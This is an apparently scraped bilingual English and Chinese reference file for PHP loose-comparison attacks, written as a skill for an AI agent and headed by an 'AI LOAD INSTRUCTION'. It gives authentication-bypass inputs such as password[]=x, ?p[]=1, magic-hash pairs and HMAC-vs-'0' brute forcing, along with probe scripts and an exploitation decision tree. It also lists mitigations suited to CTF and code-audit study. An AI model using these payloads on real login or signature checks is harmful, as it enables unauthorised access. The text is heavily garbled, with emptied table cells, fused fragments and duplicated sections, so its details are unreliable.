Loading...
Loading...
Compare original and translation side by side
AI LOAD INSTRUCTION: PHPcoercion, magic hashes (==), HMAC/hash loose checks, NULL from bad types, and CTF-style0e…/strcmp/json_decodetricks. Use strict routing: map the sink (intvalvs==), PHP major version, and whether both operands are attacker-controlled. 中文路由:遇到 PHP 登录/签名/hash_equals类题目或代码,优先读本 skill;若已用md5($_GET['x'])==md5($_GET['y'])/hash_equals则本路径通常不成立。===
AI加载说明:PHP强制转换、魔法哈希(==)、HMAC/哈希松散校验、错误类型导致的NULL值,以及CTF场景下的0e…/strcmp/json_decode利用技巧。使用严格路由规则:定位风险点(intval对比==)、PHP主版本号、以及是否两个操作数都可控。中文路由:遇到 PHP 登录/签名/hash_equals类题目或代码,优先读本 skill;若已用md5($_GET['x'])==md5($_GET['y'])/hash_equals则本路径通常不成立。===
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00php -rphp -r<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));<?php
// 松散比较探测脚本 —— 尽可能在目标PHP主版本下运行
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));| 线索 | 下一步 |
|---|---|
源码里出现 | 走 Section 1–3 |
| Section 2 魔法哈希 |
| Section 3 |
| Section 5 |
| 线索 | 下一步 |
|---|---|
源码里出现 | 跳转第1-3节 |
| 第2节 魔法哈希 |
| 第3节 |
| 第5节 |
=======hash_equals()===hash_equals()| Expression | Result | Mechanism (short) |
|---|---|---|
| true | Both strings look numeric → compared as floats; both parse to 1000.0 (not zero — common exam trap; see next row for real “both zero”) |
| true | Both parse as 0.0 in scientific notation |
| true | String cast to int stops at first non-digit → |
| true (PHP 7.x and earlier) | Non-numeric string compared to int → string becomes |
| true | Empty string → |
| true | both “falsy” in loose rules |
| true | loose equality |
| true | loose equality |
| true (chain) | Each adjacent pair is true under |
| true | String |
| false (PHP 8+) | PHP 8: non-numeric string no longer equals |
| 表达式 | 结果 | 机制(简述) |
|---|---|---|
| true | 两个字符串都符合数值格式 → 作为浮点数比较,两者解析后均为1000.0(非零,常见考题陷阱,下一行是真正的“双零”场景) |
| true | 两者均被解析为科学计数法的0.0 |
| true | 字符串转整数时在第一个非数字字符处截断 → 结果为 |
| true(PHP 7.x及更早版本) | 非数值字符串与整数比较时,字符串会转为 |
| true | 空字符串转为 |
| true | 松散规则下两者均为“假值” |
| true | 松散相等规则 |
| true | 松散相等规则 |
| true(链式) | 相邻两两在 |
| true | 字符串 |
| false(PHP 8+) | PHP 8中,非数值字符串不再与 |
| Topic | PHP 5.x / 7.x (typical) | PHP 8.0+ |
|---|---|---|
| true (string → 0) | false |
String-to-number for | Still truncates for | Same idea for numeric strings; non-numeric vs int fixed as above |
| May warn / | TypeError for wrong types — kills classic |
X-Powered-By| 场景 | PHP 5.x / 7.x(典型表现) | PHP 8.0+ |
|---|---|---|
| true(字符串转为0) | false |
| 多数 | 数值字符串逻辑不变,非数值字符串与整数比较的问题已如上修复 |
| 旧版本中可能抛出警告/表现出类似 | 类型错误(TypeError),除非错误处理将结果转为NULL,否则经典 |
X-Powered-Byhash_equals((string)$expected, (string)$actual); // timing-safe, strict string
// or
$expected === $actual;hash_equals((string)$expected, (string)$actual); // 抗时序攻击,严格字符串比较
// 或
$expected === $actual;0e…0e…^0e[0-9]+$md5(A) == md5(B)^0e[0-9]+$md5(A) == md5(B)| Algorithm | Example input | Digest (starts with |
|---|---|---|
| MD5 | | |
| MD5 | | |
| SHA-1 | | |
| SHA-224 | (brute-force / precomputed) | Example form: |
| SHA-256 | (brute-force / precomputed) | Same pattern: only strings matching |
md5('240610708') == md5('QNKCDZO')^0e[0-9]+$| 算法 | 示例输入 | 摘要(以 |
|---|---|---|
| MD5 | | |
| MD5 | | |
| SHA-1 | | |
| SHA-224 | (需暴力破解/预计算) | 示例格式: |
| SHA-256 | (需暴力破解/预计算) | 相同规则:仅匹配 |
md5('240610708') == md5('QNKCDZO')^0e[0-9]+$if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
// intended: different strings, same md5 (impossible for md5)
// actual: two different strings whose *digests* are magic hashes
}if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
// 预期逻辑:不同字符串拥有相同md5(对md5来说不可能)
// 实际逻辑:两个不同字符串的摘要都是魔法哈希
}?a=240610708&b=QNKCDZO^0e\d+$?a=240610708&b=QNKCDZO^0e\d+$"0"0"0"0if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.$datahash_hmac^0e[0-9]+$0==if (hash_hmac('md5', $data, $key) != '0') { /* 校验通过 */ }
// 或与0、false比较,与字符串"0e..."比较等场景$datahash_hmac^0e[0-9]+$==00e0e| Concept | Example |
|---|---|
| Message type | Unix timestamp, incrementing id, millisecond clock |
| Timestamp brute-force pattern | Tutorials sometimes cite |
| Goal | Find |
| Note | Without knowing |
undefined| 概念 | 示例 |
|---|---|
| 消息类型 | Unix时间戳、自增ID、毫秒级时间戳 |
| 时间戳暴力破解模式 | 教程中常提到 |
| 目标 | 找到 |
| 注意 | 如果存在预言机可查看算法/输出,即使不知道 |
undefined
**Mitigation**: `hash_equals($mac, $expected)` + fixed-length hex/binary encoding; never compare HMAC to bare `"0"`.
---
**修复方案**:使用`hash_equals($mac, $expected)` + 固定长度的十六进制/二进制编码,永远不要将HMAC与裸`"0"`比较。
---NULLNULL| Call | Typical PHP 7/8 behavior |
|---|---|
| PHP 8: TypeError; older: warnings / not reliable across versions |
| Same |
| Idea | If error handler or custom wrapper converts failures to |
// CTF / broken code mental model:
@sha1($_GET['x']) == @sha1($_GET['y']); // if both error to NULL → true@try/catchnullNULLNULL| 调用 | PHP 7/8典型表现 |
|---|---|
| PHP 8:TypeError;旧版本:警告/跨版本表现不可靠 |
| 同上 |
| 利用思路 | 如果错误处理器或自定义封装将失败转为** |
// CTF/存在缺陷代码的常见模型:
@sha1($_GET['x']) == @sha1($_GET['y']); // 如果两者都报错返回NULL → 比较结果为真@nulltry/catchstrcmpstrcasecmpstrcmpstrcasecmpstrcmp([], "password"); // NULL in PHP 7/8 (invalid args)
// NULL == 0 → true in loose compare if code does:
if (strcmp($_GET['p'], $secret) == 0)?p[]=1strcmp([], "password"); // PHP 7/8中返回NULL(参数无效)
// NULL == 0 → 如果代码如下松散比较则返回真:
if (strcmp($_GET['p'], $secret) == 0)?p[]=1intvalintval// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
intval("0x1A", 0); // → 26
// Octal: leading 0 can be parsed as octal with base 0
intval("010", 0); // → 8 (classic teaching example; confirm on target PHP)
// Scientific notation: intval() alone stops at 'e'; cast via float first
intval((float) "1e2"); // → 100?id=0x1A
?id=010
?id=1e2// 十六进制:base为0时PHP会解析0x前缀(版本相关,始终需验证)
intval("0x1A", 0); // → 26
// 八进制:base为0时前导0会被解析为八进制
intval("010", 0); // → 8(经典教学示例,需在目标PHP版本验证)
// 科学计数法:单独调用intval()会在'e'处截断,先转float即可
intval((float) "1e2"); // → 100?id=0x1A
?id=010
?id=1e2json_decodetruejson_decode{"password": true}$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules{"password": true}$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "非空字符串"通常返回真 —— 参考PHP松散规则is_numericis_numericis_numeric("0e12345"); // true
"0e12345" == 0; // true (scientific notation → 0.0)is_numeric("0e12345"); // true
"0e12345" == 0; // true(科学计数法转为0.0)__toStringmd5($obj)unserialize($_…)==__toStringmd5($obj)==unserialize($_…) +------------------+
| PHP loose compare|
| or hash == hash? |
+--------+---------+
|
+-------------+-------------+
| |
+------v------+ +------v------+
| Uses === or | | Uses == or |
| hash_equals | | strcmp == 0 |
+------+------+ +------+-------+
| |
STOP (likely) +-----v-----+
| Operand |
| types? |
+-----+-----+
+--------------+---+--------------+
| | |
+------v------+ +-----v-----+ +-------v--------+
| Both numeric| | One int & | | Hash digests |
| strings 0e… | | one string| | both 0e\d+ ? |
+------+------+ +-----+-----+ +-------+--------+
| | |
MAGIC HASH STRING/INT MAGIC HASH
COLLISION JUGGLING (md5/sha1/…)
| | |
+------+-------+------------------+
|
+------v------+
| HMAC / MAC |
| vs "0" |
+------+------+
|
brute $data
for 0e… digest
|
+------v------+
| Arrays / |
| json true / |
| strcmp([]) |
+-------------+ +------------------+
| PHP松散比较|
| 或哈希等值比较? |
+--------+---------+
|
+-------------+-------------+
| |
+------v------+ +------v------+
| 使用===或 | | 使用==或 |
| hash_equals | | strcmp == 0 |
+------+------+ +------+-------+
| |
停止(大概率无法利用) +-----v-----+
| 操作数 |
| 类型? |
+-----+-----+
+--------------+---+--------------+
| | |
+------v------+ +-----v-----+ +-------v--------+
| 均为数值型| | 一个int & | | 哈希摘要 |
| 字符串为0e… | | 一个字符串| | 均为0e\d+ ? |
+------+------+ +-----+-----+ +-------+--------+
| | |
魔法哈希 字符串/整数 魔法哈希
碰撞 类型转换 (md5/sha1/…)
| | |
+------+-------+------------------+
|
+------v------+
| HMAC / MAC |
| 与"0"比较 |
+------+------+
|
暴力破解$data
查找0e…开头的摘要
|
+------v------+
| 数组 / |
| json true / |
| strcmp([]) |
+-------------+| Tool | Use |
|---|---|
Local | Reproduce |
| Static code review | Grep |
| CTF frameworks | Payload generators for magic hashes and |
| 工具 | 用途 |
|---|---|
本地 | 复现目标PHP主版本的 |
| 静态代码审计 | 检索加密输出比较处的 |
| CTF框架 | 魔法哈希和 |